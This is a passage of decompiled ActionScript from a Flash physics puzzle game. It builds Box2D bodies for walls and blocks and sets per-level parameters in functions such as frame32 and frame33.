dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 10;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 1;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 1;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 1;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 1;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 10;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
dim15_def = new b2BodyDef();
dim15_sh = new b2PolygonDef();
dim15_def.position.Set((dim15_cl.x / 30), (dim15_cl.y / 30));
dim15_sh.SetAsBox(((dim15_cl.width / 2) / 30), ((dim15_cl.height / 2) / 30));
dim15_def.userData = dim15_cl;
dim15_sh.density = 1;
dim15_sh.friction = 1;
dim15_sh.restitution = 0.1;
dim15 = world.CreateBody(dim15_def);
dim15.CreateShape(dim15_sh);
dim15.SetMassFromShapes();
dim16_def = new b2BodyDef();
dim16_sh = new b2PolygonDef();
dim16_def.position.Set((dim16_cl.x / 30), (dim16_cl.y / 30));
dim16_sh.SetAsBox(((dim16_cl.width / 2) / 30), ((dim16_cl.height / 2) / 30));
dim16_def.userData = dim16_cl;
dim16_sh.density = 1;
dim16_sh.friction = 1;
dim16_sh.restitution = 0.1;
dim16 = world.CreateBody(dim16_def);
dim16.CreateShape(dim16_sh);
dim16.SetMassFromShapes();
dim17_def = new b2BodyDef();
dim17_sh = new b2PolygonDef();
dim17_def.position.Set((dim17_cl.x / 30), (dim17_cl.y / 30));
dim17_sh.SetAsBox(((dim17_cl.width / 2) / 30), ((dim17_cl.height / 2) / 30));
dim17_def.userData = dim17_cl;
dim17_sh.density = 1;
dim17_sh.friction = 1;
dim17_sh.restitution = 0.1;
dim17 = world.CreateBody(dim17_def);
dim17.CreateShape(dim17_sh);
dim17.SetMassFromShapes();
dim18_def = new b2BodyDef();
dim18_sh = new b2PolygonDef();
dim18_def.position.Set((dim18_cl.x / 30), (dim18_cl.y / 30));
dim18_sh.SetAsBox(((dim18_cl.width / 2) / 30), ((dim18_cl.height / 2) / 30));
dim18_def.userData = dim18_cl;
dim18_sh.density = 1;
dim18_sh.friction = 1;
dim18_sh.restitution = 0.1;
dim18 = world.CreateBody(dim18_def);
dim18.CreateShape(dim18_sh);
dim18.SetMassFromShapes();
dim19_def = new b2BodyDef();
dim19_sh = new b2PolygonDef();
dim19_def.position.Set((dim19_cl.x / 30), (dim19_cl.y / 30));
dim19_sh.SetAsBox(((dim19_cl.width / 2) / 30), ((dim19_cl.height / 2) / 30));
dim19_def.userData = dim19_cl;
dim19_sh.density = 1;
dim19_sh.friction = 1;
dim19_sh.restitution = 0.1;
dim19 = world.CreateBody(dim19_def);
dim19.CreateShape(dim19_sh);
dim19.SetMassFromShapes();
dim20_def = new b2BodyDef();
dim20_sh = new b2PolygonDef();
dim20_def.position.Set((dim20_cl.x / 30), (dim20_cl.y / 30));
dim20_sh.SetAsBox(((dim20_cl.width / 2) / 30), ((dim20_cl.height / 2) / 30));
dim20_def.userData = dim20_cl;
dim20_sh.density = 1;
dim20_sh.friction = 1;
dim20_sh.restitution = 0.1;
dim20 = world.CreateBody(dim20_def);
dim20.CreateShape(dim20_sh);
dim20.SetMassFromShapes();
dim21_def = new b2BodyDef();
dim21_sh = new b2PolygonDef();
dim21_def.position.Set((dim21_cl.x / 30), (dim21_cl.y / 30));
dim21_sh.SetAsBox(((dim21_cl.width / 2) / 30), ((dim21_cl.height / 2) / 30));
dim21_def.userData = dim21_cl;
dim21_sh.density = 1;
dim21_sh.friction = 1;
dim21_sh.restitution = 0.1;
dim21 = world.CreateBody(dim21_def);
dim21.CreateShape(dim21_sh);
dim21.SetMassFromShapes();
dim22_def = new b2BodyDef();
dim22_sh = new b2PolygonDef();
dim22_def.position.Set((dim22_cl.x / 30), (dim22_cl.y / 30));
dim22_sh.SetAsBox(((dim22_cl.width / 2) / 30), ((dim22_cl.height / 2) / 30));
dim22_def.userData = dim22_cl;
dim22_sh.density = 1;
dim22_sh.friction = 1;
dim22_sh.restitution = 0.1;
dim22 = world.CreateBody(dim22_def);
dim22.CreateShape(dim22_sh);
dim22.SetMassFromShapes();
dim23_def = new b2BodyDef();
dim23_sh = new b2PolygonDef();
dim23_def.position.Set((dim23_cl.x / 30), (dim23_cl.y / 30));
dim23_sh.SetAsBox(((dim23_cl.width / 2) / 30), ((dim23_cl.height / 2) / 30));
dim23_def.userData = dim23_cl;
dim23_sh.density = 1;
dim23_sh.friction = 1;
dim23_sh.restitution = 0.1;
dim23 = world.CreateBody(dim23_def);
dim23.CreateShape(dim23_sh);
dim23.SetMassFromShapes();
dim24_def = new b2BodyDef();
dim24_sh = new b2PolygonDef();
dim24_def.position.Set((dim24_cl.x / 30), (dim24_cl.y / 30));
dim24_sh.SetAsBox(((dim24_cl.width / 2) / 30), ((dim24_cl.height / 2) / 30));
dim24_def.userData = dim24_cl;
dim24_sh.density = 1;
dim24_sh.friction = 1;
dim24_sh.restitution = 0.1;
dim24 = world.CreateBody(dim24_def);
dim24.CreateShape(dim24_sh);
dim24.SetMassFromShapes();
dim25_def = new b2BodyDef();
dim25_sh = new b2PolygonDef();
dim25_def.position.Set((dim25_cl.x / 30), (dim25_cl.y / 30));
dim25_sh.SetAsBox(((dim25_cl.width / 2) / 30), ((dim25_cl.height / 2) / 30));
dim25_def.userData = dim25_cl;
dim25_sh.density = 1;
dim25_sh.friction = 1;
dim25_sh.restitution = 0.1;
dim25 = world.CreateBody(dim25_def);
dim25.CreateShape(dim25_sh);
dim25.SetMassFromShapes();
dim26_def = new b2BodyDef();
dim26_sh = new b2PolygonDef();
dim26_def.position.Set((dim26_cl.x / 30), (dim26_cl.y / 30));
dim26_sh.SetAsBox(((dim26_cl.width / 2) / 30), ((dim26_cl.height / 2) / 30));
dim26_def.userData = dim26_cl;
dim26_sh.density = 1;
dim26_sh.friction = 1;
dim26_sh.restitution = 0.1;
dim26 = world.CreateBody(dim26_def);
dim26.CreateShape(dim26_sh);
dim26.SetMassFromShapes();
dim27_def = new b2BodyDef();
dim27_sh = new b2PolygonDef();
dim27_def.position.Set((dim27_cl.x / 30), (dim27_cl.y / 30));
dim27_sh.SetAsBox(((dim27_cl.width / 2) / 30), ((dim27_cl.height / 2) / 30));
dim27_def.userData = dim27_cl;
dim27_sh.density = 1;
dim27_sh.friction = 1;
dim27_sh.restitution = 0.1;
dim27 = world.CreateBody(dim27_def);
dim27.CreateShape(dim27_sh);
dim27.SetMassFromShapes();
dim28_def = new b2BodyDef();
dim28_sh = new b2PolygonDef();
dim28_def.position.Set((dim28_cl.x / 30), (dim28_cl.y / 30));
dim28_sh.SetAsBox(((dim28_cl.width / 2) / 30), ((dim28_cl.height / 2) / 30));
dim28_def.userData = dim28_cl;
dim28_sh.density = 1;
dim28_sh.friction = 1;
dim28_sh.restitution = 0.1;
dim28 = world.CreateBody(dim28_def);
dim28.CreateShape(dim28_sh);
dim28.SetMassFromShapes();
dim29_def = new b2BodyDef();
dim29_sh = new b2PolygonDef();
dim29_def.position.Set((dim29_cl.x / 30), (dim29_cl.y / 30));
dim29_sh.SetAsBox(((dim29_cl.width / 2) / 30), ((dim29_cl.height / 2) / 30));
dim29_def.userData = dim29_cl;
dim29_sh.density = 1;
dim29_sh.friction = 1;
dim29_sh.restitution = 0.1;
dim29 = world.CreateBody(dim29_def);
dim29.CreateShape(dim29_sh);
dim29.SetMassFromShapes();
dim30_def = new b2BodyDef();
dim30_sh = new b2PolygonDef();
dim30_def.position.Set((dim30_cl.x / 30), (dim30_cl.y / 30));
dim30_sh.SetAsBox(((dim30_cl.width / 2) / 30), ((dim30_cl.height / 2) / 30));
dim30_def.userData = dim30_cl;
dim30_sh.density = 1;
dim30_sh.friction = 1;
dim30_sh.restitution = 0.1;
dim30 = world.CreateBody(dim30_def);
dim30.CreateShape(dim30_sh);
dim30.SetMassFromShapes();
dim31_def = new b2BodyDef();
dim31_sh = new b2PolygonDef();
dim31_def.position.Set((dim31_cl.x / 30), (dim31_cl.y / 30));
dim31_sh.SetAsBox(((dim31_cl.width / 2) / 30), ((dim31_cl.height / 2) / 30));
dim31_def.userData = dim31_cl;
dim31_sh.density = 1;
dim31_sh.friction = 1;
dim31_sh.restitution = 0.1;
dim31 = world.CreateBody(dim31_def);
dim31.CreateShape(dim31_sh);
dim31.SetMassFromShapes();
dim32_def = new b2BodyDef();
dim32_sh = new b2PolygonDef();
dim32_def.position.Set((dim32_cl.x / 30), (dim32_cl.y / 30));
dim32_sh.SetAsBox(((dim32_cl.width / 2) / 30), ((dim32_cl.height / 2) / 30));
dim32_def.userData = dim32_cl;
dim32_sh.density = 1;
dim32_sh.friction = 1;
dim32_sh.restitution = 0.1;
dim32 = world.CreateBody(dim32_def);
dim32.CreateShape(dim32_sh);
dim32.SetMassFromShapes();
dim33_def = new b2BodyDef();
dim33_sh = new b2PolygonDef();
dim33_def.position.Set((dim33_cl.x / 30), (dim33_cl.y / 30));
dim33_sh.SetAsBox(((dim33_cl.width / 2) / 30), ((dim33_cl.height / 2) / 30));
dim33_def.userData = dim33_cl;
dim33_sh.density = 1;
dim33_sh.friction = 1;
dim33_sh.restitution = 0.1;
dim33 = world.CreateBody(dim33_def);
dim33.CreateShape(dim33_sh);
dim33.SetMassFromShapes();
dim34_def = new b2BodyDef();
dim34_sh = new b2PolygonDef();
dim34_def.position.Set((dim34_cl.x / 30), (dim34_cl.y / 30));
dim34_sh.SetAsBox(((dim34_cl.width / 2) / 30), ((dim34_cl.height / 2) / 30));
dim34_def.userData = dim34_cl;
dim34_sh.density = 1;
dim34_sh.friction = 1;
dim34_sh.restitution = 0.1;
dim34 = world.CreateBody(dim34_def);
dim34.CreateShape(dim34_sh);
dim34.SetMassFromShapes();
dim35_def = new b2BodyDef();
dim35_sh = new b2PolygonDef();
dim35_def.position.Set((dim35_cl.x / 30), (dim35_cl.y / 30));
dim35_sh.SetAsBox(((dim35_cl.width / 2) / 30), ((dim35_cl.height / 2) / 30));
dim35_def.userData = dim35_cl;
dim35_sh.density = 1;
dim35_sh.friction = 1;
dim35_sh.restitution = 0.1;
dim35 = world.CreateBody(dim35_def);
dim35.CreateShape(dim35_sh);
dim35.SetMassFromShapes();
dim36_def = new b2BodyDef();
dim36_sh = new b2PolygonDef();
dim36_def.position.Set((dim36_cl.x / 30), (dim36_cl.y / 30));
dim36_sh.SetAsBox(((dim36_cl.width / 2) / 30), ((dim36_cl.height / 2) / 30));
dim36_def.userData = dim36_cl;
dim36_sh.density = 10;
dim36_sh.friction = 1;
dim36_sh.restitution = 0.1;
dim36 = world.CreateBody(dim36_def);
dim36.CreateShape(dim36_sh);
dim36.SetMassFromShapes();
dim37_def = new b2BodyDef();
dim37_sh = new b2PolygonDef();
dim37_def.position.Set((dim37_cl.x / 30), (dim37_cl.y / 30));
dim37_sh.SetAsBox(((dim37_cl.width / 2) / 30), ((dim37_cl.height / 2) / 30));
dim37_def.userData = dim37_cl;
dim37_sh.density = 10;
dim37_sh.friction = 1;
dim37_sh.restitution = 0.1;
dim37 = world.CreateBody(dim37_def);
dim37.CreateShape(dim37_sh);
dim37.SetMassFromShapes();
dim38_def = new b2BodyDef();
dim38_sh = new b2PolygonDef();
dim38_def.position.Set((dim38_cl.x / 30), (dim38_cl.y / 30));
dim38_sh.SetAsBox(((dim38_cl.width / 2) / 30), ((dim38_cl.height / 2) / 30));
dim38_def.userData = dim38_cl;
dim38_sh.density = 10;
dim38_sh.friction = 1;
dim38_sh.restitution = 0.1;
dim38 = world.CreateBody(dim38_def);
dim38.CreateShape(dim38_sh);
dim38.SetMassFromShapes();
dim39_def = new b2BodyDef();
dim39_sh = new b2PolygonDef();
dim39_def.position.Set((dim39_cl.x / 30), (dim39_cl.y / 30));
dim39_sh.SetAsBox(((dim39_cl.width / 2) / 30), ((dim39_cl.height / 2) / 30));
dim39_def.userData = dim39_cl;
dim39_sh.density = 10;
dim39_sh.friction = 1;
dim39_sh.restitution = 0.1;
dim39 = world.CreateBody(dim39_def);
dim39.CreateShape(dim39_sh);
dim39.SetMassFromShapes();
dim40_def = new b2BodyDef();
dim40_sh = new b2PolygonDef();
dim40_def.position.Set((dim40_cl.x / 30), (dim40_cl.y / 30));
dim40_sh.SetAsBox(((dim40_cl.width / 2) / 30), ((dim40_cl.height / 2) / 30));
dim40_def.userData = dim40_cl;
dim40_sh.density = 10;
dim40_sh.friction = 1;
dim40_sh.restitution = 0.1;
dim40 = world.CreateBody(dim40_def);
dim40.CreateShape(dim40_sh);
dim40.SetMassFromShapes();
dim41_def = new b2BodyDef();
dim41_sh = new b2PolygonDef();
dim41_def.position.Set((dim41_cl.x / 30), (dim41_cl.y / 30));
dim41_sh.SetAsBox(((dim41_cl.width / 2) / 30), ((dim41_cl.height / 2) / 30));
dim41_def.userData = dim41_cl;
dim41_sh.density = 10;
dim41_sh.friction = 1;
dim41_sh.restitution = 0.1;
dim41 = world.CreateBody(dim41_def);
dim41.CreateShape(dim41_sh);
dim41.SetMassFromShapes();
dim42_def = new b2BodyDef();
dim42_sh = new b2PolygonDef();
dim42_def.position.Set((dim42_cl.x / 30), (dim42_cl.y / 30));
dim42_sh.SetAsBox(((dim42_cl.width / 2) / 30), ((dim42_cl.height / 2) / 30));
dim42_def.userData = dim42_cl;
dim42_sh.density = 10;
dim42_sh.friction = 1;
dim42_sh.restitution = 0.1;
dim42 = world.CreateBody(dim42_def);
dim42.CreateShape(dim42_sh);
dim42.SetMassFromShapes();
dim43_def = new b2BodyDef();
dim43_sh = new b2PolygonDef();
dim43_def.position.Set((dim43_cl.x / 30), (dim43_cl.y / 30));
dim43_sh.SetAsBox(((dim43_cl.width / 2) / 30), ((dim43_cl.height / 2) / 30));
dim43_def.userData = dim43_cl;
dim43_sh.density = 10;
dim43_sh.friction = 1;
dim43_sh.restitution = 0.1;
dim43 = world.CreateBody(dim43_def);
dim43.CreateShape(dim43_sh);
dim43.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.MOUSE_UP, nagal_zvuk);
again_bt.addEventListener(MouseEvent.MOUSE_UP, again_f);
home_bt.addEventListener(MouseEvent.MOUSE_UP, home_f);
}
function frame32(){
cel = 5;
kol_cel = cel;
kol_hero = 8;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 523;
pos_hero_y = 388;
i = 1;
while (i <= 14) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 12;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
gro11 = new b2BodyDef();
gro11.position.Set((gro11_cl.x / 30), (gro11_cl.y / 30));
gro11.userData = gro11_cl;
gro11_sh = new b2PolygonDef();
gro11_sh.SetAsBox(((gro11_cl.width / 2) / 30), ((gro11_cl.height / 2) / 30));
gro11_def = world.CreateBody(gro11);
gro11_def.CreateShape(gro11_sh);
gro11_def.SetMassFromShapes();
gro11_sh.density = 1;
i = 1;
while (i <= 11) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 1;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 1;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 1;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 1;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 1;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 1;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 1;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 1;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 1;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
function frame33(){
cel = 3;
kol_cel = cel;
kol_hero = 10;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 70;
pos_hero_y = 388;
i = 1;
while (i <= 6) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 13;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
